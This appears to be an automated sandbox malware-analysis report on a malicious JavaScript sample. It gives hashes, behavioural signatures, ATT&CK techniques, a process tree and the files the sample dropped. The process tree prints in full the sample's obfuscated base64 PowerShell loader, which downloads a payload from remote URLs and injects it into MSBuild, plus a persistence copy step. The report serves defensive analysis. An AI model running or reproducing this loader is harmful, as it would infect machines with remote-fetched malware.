f600d033161f41825f390ad8c6ea090a3378b19b4fdd86d938eb549f65c293f4

Analysis

max time kernel
149s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/09/2026, 22:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_f600d033161f41825f390ad8c6ea090a3378b19b4fdd86d938eb549f65c293f4.js
Size 40KB
Sample260909-2mlbvsbl3s
SHA256 f600d033161f41825f390ad8c6ea090a3378b19b4fdd86d938eb549f65c293f4
MD5 0a7171e55c37af6092d4ba6ccebe3d59
SHA1 ff40ee0850bed076adbc1039dd6c334d636aa993
SHA512 e564ec7dfcca65cc00fdd7ac6a467ee6f287db5dd23f85acbbe971a229b2fcb24bdfc222516ce16c6230c5152bf9eb950ba8bdf19d504f95f38cd1a4756b2df9
SSDEEP 768:Y1WhlPR1C8KN4xncEPWOoVO0uIglN05rah9FRBw0VJQDqHJ:Y1WhlPR1C8KN4xnHPWOoVO0uIgn05raf
TLSH
T1391321518E32CF4CC5F9E9B2EE53F5894DB78D8C54A43C2647CFC4AD8AA664097E2813
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4348	4768	powershell.exe	89

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4348	powershell.exe
5	4348	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4348	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4348	powershell.exe
4348	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4348	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4348 wrote to memory of 2880	4348	powershell.exe	92
PID 2880 wrote to memory of 5968	2880	csc.exe	93

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_f600d033161f41825f390ad8c6ea090a3378b19b4fdd86d938eb549f65c293f4.js
1⤵
PID:2976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "$ddsfdgdfhdjhsdfgdgo = 'DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwAzAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAFoAVwBaAHMAWgBXAE4AMABhAFcAOQB1AE8AMwBCADEAWQBtAHgAcABZAHkAQgBqAGIARwBGAHoAYwB5AEIARQBiADIAMQBoAGEAVwA1AE0AYgAyAEYAawBaAFgASgA3AGMASABWAGkAYgBHAGwAagBJAEgATgAwAFkAWABSAHAAWQB5AEIAQgBjADMATgBsAGIAVwBKAHMAZQBTAEIATQBiADIARgBf#AFEAWABOAHoAWgBXADEAaQBiAEgAawBvAFkAbgBsADAAWgBWAHQAZABJAEcARQBwAGUAMwBKAGwAZABIAFYAeQBiAGkAQgBCAGMASABCAEUAYgAyADEAaABhAFcANAB1AFEAMwBWAHkAYwBtAFYAdQBkAEUAUgB2AGIAVwBGAHAAYgBpADUATQBiADIARgBf#AEsARwBFAHAATwAzADEAOQAnAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiADYANAApACkAKQANAAoAZgB1AG4AYwB0AGkAbwBuACAAZAAoACQAbAApAHsAJAB3AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAoAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAkAGwAIAAtAEMAbwB1AG4AdAAgACQAbAAuAEMAbwB1AG4AdAApAHwAJQB7AHQAcgB5AHsAcgBlAHQAdQByAG4AIAAkAHcALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAXwApAH0AYwBhAHQAYwBoAHsAfQB9AH0ADQAKAGYAdQBuAGMAdABpAG8AbgAgAGkAKAAkAGEALAAkAHQALAAkAG0ALAAkAHAAPQBAACgAKQApAHsAJAB5AD0AWwBEAG8AbQBhAGkAbgBMAG8AYQBkAGUAcgBdADoAOgBMAG8AYQBkAEEAcwBzAGUAbQBiAGwAeQAoACQAYQApADsAJAByAD0AJAB5AC4ARwBlAHQAVAB5AHAAZQBzACgAKQB8AD8AewAkAF8ALgBGAHUAbABsAE4AYQBtAGUAIAAtAGUAcQAgACQAdAB9ADsAJABuAD0AJAByAC4ARwBlAHQATQBlAHQAaABvAGQAKAAkAG0ALAAoAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEIAaQBuAGQAaQBuAGcARgBsAGEAZwBzAF0AJwBQAHUAYgBsAGkAYwAsAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMALABJAG4AcwB0AGEAbgBjAGUAJwApACkAOwAkAG8APQBpAGYAKAAhACQAbgAuAEkAcwBTAHQAYQB0AGkAYwApAHsAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAHIAKQB9ADsAJABuAC4ASQBuAHYAbwBf#AGUAKAAkAG8ALAAkAHAAKQB9AA0ACgANAAoAJABf#AD0AQAAoACgAJwBoAHQAdABwAHMAOgAvAC8AZgBpAHIAZQBiAGEAcwBlAHMAdABvAHIAYQBnAGUALgBnAG8AbwBnAGwAZQBhAHAAaQBzAC4AYwBvAG0ALwB2ADAALwBiAC8AcgBlAG0AYQBzAGQALQA2AGMANwAwADIALgBmAGkAcgBlAGIAYQBzAGUAcwB0AG8AcgBhAGcAZQAuAGEAcABwAC8AbwAvAHAAaQBjAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBf#AGUAbgA9ADAAMwA4ADAAYgA4ADkAZQAtADIANgA1AGQALQA0AGMAOQA3AC0AOAAzADAANAAtADUAMgBjADcANQBmADkAMQA0AGYAZQBhACcAKQAsACgAJwBoAHQAdABwAHMAOgAvAC8AYQB1ADcAMgBuAHUAeAB6AHYAMgAuAHUAZgBzAC4AcwBoAC8AZgAvADQATABoAFYANQBCADEAcwBEAEMAdwBJADQARQA2AGcAbwBaADEAcwBEAEMAdwBJAHIAeQA4AHEAVABFAHQAaABf#AGUAQQB2AG4AaQBGAGMAeABSADkAUQBhAFcAegBVACcAKQApAA0ACgBpAGYAKAAoACQAZwA9AGQAIAAkAGsAKQAtAGEAbgBkACgAJAB0AD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAZwApACkALQBtAGEAdABjAGgAJwA8ADwAQgBBAFMAJwAgACsAIAAnAEUANgA0AF8AUwBUAEEAUgBUAD4APgAoAC4AKgA/ACkAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAKQB7AA0ACgAgACAAIAAgAGkAIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABNAGEAdABjAGgAZQBzAFsAMQBdACkAKQAgACcAdABlAHMAdABwAG8AdwBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwAgACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACAAQAAoACcAdAB4AHQALgBhAFMAaQBkAEYAZABtAC8AbgBpAGEAbQAvAHMAZABhAGUAaAAvAHMAZgBlAHIALwBmAHMAZQB0AC8AZQAyADIAbQBlAGUAZABhAG4ALwBtAG8AYwAuAHQAbgBlAHQAbgBvAGMAcgBlAHMAdQBiAHUAaAB0AGkAZwAuAHcAYQByAC8ALwA6AHMAJwAsACAAJwAzACcALAAgACcAZQByAHQAJwAsACAAJwBNAHMAYgB1AGkAbABkACcALAAgACcAMAAnACAALAAgACcAeAA2ADQAJwApAA0ACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwB8AHMAbwByAHQAIABDAFAAVQAgAC0AZABlAHMAYwB8AHMAZQBsAGUAYwB0ACAALQBmAGkAcgBzAHQAIAA1AHwAZgB0ACAATgBhAG0AZQAsAEMAUABVACAAfQANAAoADQAKACAAIAAgACAAIAAgACAAIAAgACAA';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdgdfhdjhsdfgdgo.replace('f#','r')));iex $OWjuxD"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\jaffacakes118_f600d033161f41825f390ad8c6ea090a3378b19b4fdd86d938eb549f65c293f4.js' -Destination 'C:\ProgramData\ert.js' -Force"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4348
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rl10y3da\rl10y3da.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES38E8.tmp" "c:\Users\Admin\AppData\Local\Temp\rl10y3da\CSC1A5EFB066CF34CB68452E6C14A4E69.TMP"
    3⤵
    PID:5968

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES38E8.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES38E8.tmp
Size 1KB
SHA256 ebde4a8440e3fbc2b582328f78fdb301de009ce0983ebd6237e93ed9feb4dbc4
MD5 3c3c3e0d0c583719d1245fe6c1543165
SHA1 f1281bc249154c7af255145dfca51179981ca343
SHA512 7a1cf944533ccf367ee85000ecc0c8742195727b3e95d042e84ae886a90a641f39bdcaef31f060289e8f6e0a33d3a0b088d9934aac462cd9b21a58747277f896
TLSH
T12A21AF0653F9471AF0735B317DFA172BA274FD54EF61976A458002292C50600DEA1FB3
MD5 SHA1 SHA512 TLSH

Submit Download

rl10y3da.dll

Path C:\Users\Admin\AppData\Local\Temp\rl10y3da\rl10y3da.dll
Size 3KB
SHA256 c0ba26c9cfe5d1481f2a200a7db76a2f3629d83cbc606bf5f859f3fe7f3f2551
MD5 35cdf2ad9012d295124193fca257149e
SHA1 472646764a5dfba91ca9f648dafdf6343e5e1533
SHA512 a45a8dfe025f43ab7f0ad76545a003f86267db6ed0fbf32a6faa3a99fd7f0245657f2f46db30e181354ac9cd470600ed61c80429a7ee2592ce7e8c4b76731d30
TLSH
T12751DE1663F84227E0B70B34AEF347133775F9509BB2876E59800229AC207641E32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

CSC1A5EFB066CF34CB68452E6C14A4E69.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\rl10y3da\CSC1A5EFB066CF34CB68452E6C14A4E69.TMP
Size 652B
SHA256 956d668f9c0de7ead54c5153dfce66c623ecbde2bf07ffd40a5506b174ee6d90
MD5 c7add1571849aa9984d85c037fb68b4e
SHA1 47521ff2e939a70d4be6b46413ef81fe3c3daba5
SHA512 5ee6ab82e58f278f638ab6b5a0d02a59ccafe6e1d8c2dbf3e0db379a1f9f6b250516c9d46e082e7eb7d2067c0029aad10eb19c9bbb35498145e9c9b7e726c9de
TLSH
T102F05E0A63F8020EF0F35B30BDF643A391A9BC65DE3297ED144003192C64B108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

rl10y3da.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\rl10y3da\rl10y3da.0.cs
Size 153B
SHA256 96cd128f981271bf1086c767b1d809a55b680fd10f4c959aaedca91240dbb634
MD5 e60b26590cee7552cb218bbb60f0f1ea
SHA1 eea3f71c9c75ca2cb6b7a5fdf766915a777dd0a6
SHA512 0c7d7aa5c11771ccba9d292b447268e07daea831b61326aa5eed1c05c6df667de0d59447b368f4478dec75b6fa638568328c11ecd2474b0e0c9a982ab7fecaf6
TLSH
T19CC08C443301F3300B92894B3D03FC0B233EF32142A9E404E4A80507DE19060F638D2E
MD5 SHA1 SHA512 TLSH

Submit Download

rl10y3da.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\rl10y3da\rl10y3da.cmdline
Size 369B
SHA256 dff979efc660c9dad722c43dd030434437af2b70b04fa79d08c0abb69e7e9f28
MD5 3a57759913245a545e668b08f9bae3d8
SHA1 f376691f7320f95bb91b895d41fb7b85d367ff0c
SHA512 fa19d974efa8a7c8732e7b03cba32473f15cb24542ddf3c5efe3406cfc139d48c736589af60b9f9b8e5a6526ad4edb560ee0f689c87814edfa1ef42296ef16f3
TLSH
T186E06F2E4386C27E01E9220B266EE4AC937206C32E80BFE49060848FF4270002FD3B99
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4348-5-0x00007FF8148F0000-0x00007FF815294000-memory.dmp

Download

memory/4348-8-0x00007FF8148F0000-0x00007FF815294000-memory.dmp

Download

memory/4348-9-0x00007FF8148F0000-0x00007FF815294000-memory.dmp

Download

memory/4348-7-0x00007FF8148F0000-0x00007FF815294000-memory.dmp

Download

memory/4348-6-0x00007FF8148F0000-0x00007FF815294000-memory.dmp

Download

memory/4348-0-0x00007FF814A7F000-0x00007FF814A80000-memory.dmp

Download

memory/4348-4-0x000001C5B1650000-0x000001C5B1672000-memory.dmp

Download

memory/4348-1-0x00007FF8148F0000-0x00007FF815294000-memory.dmp

Download

memory/4348-22-0x000001C5B1640000-0x000001C5B1648000-memory.dmp

Download

memory/4348-24-0x00007FF8148F0000-0x00007FF815294000-memory.dmp

Download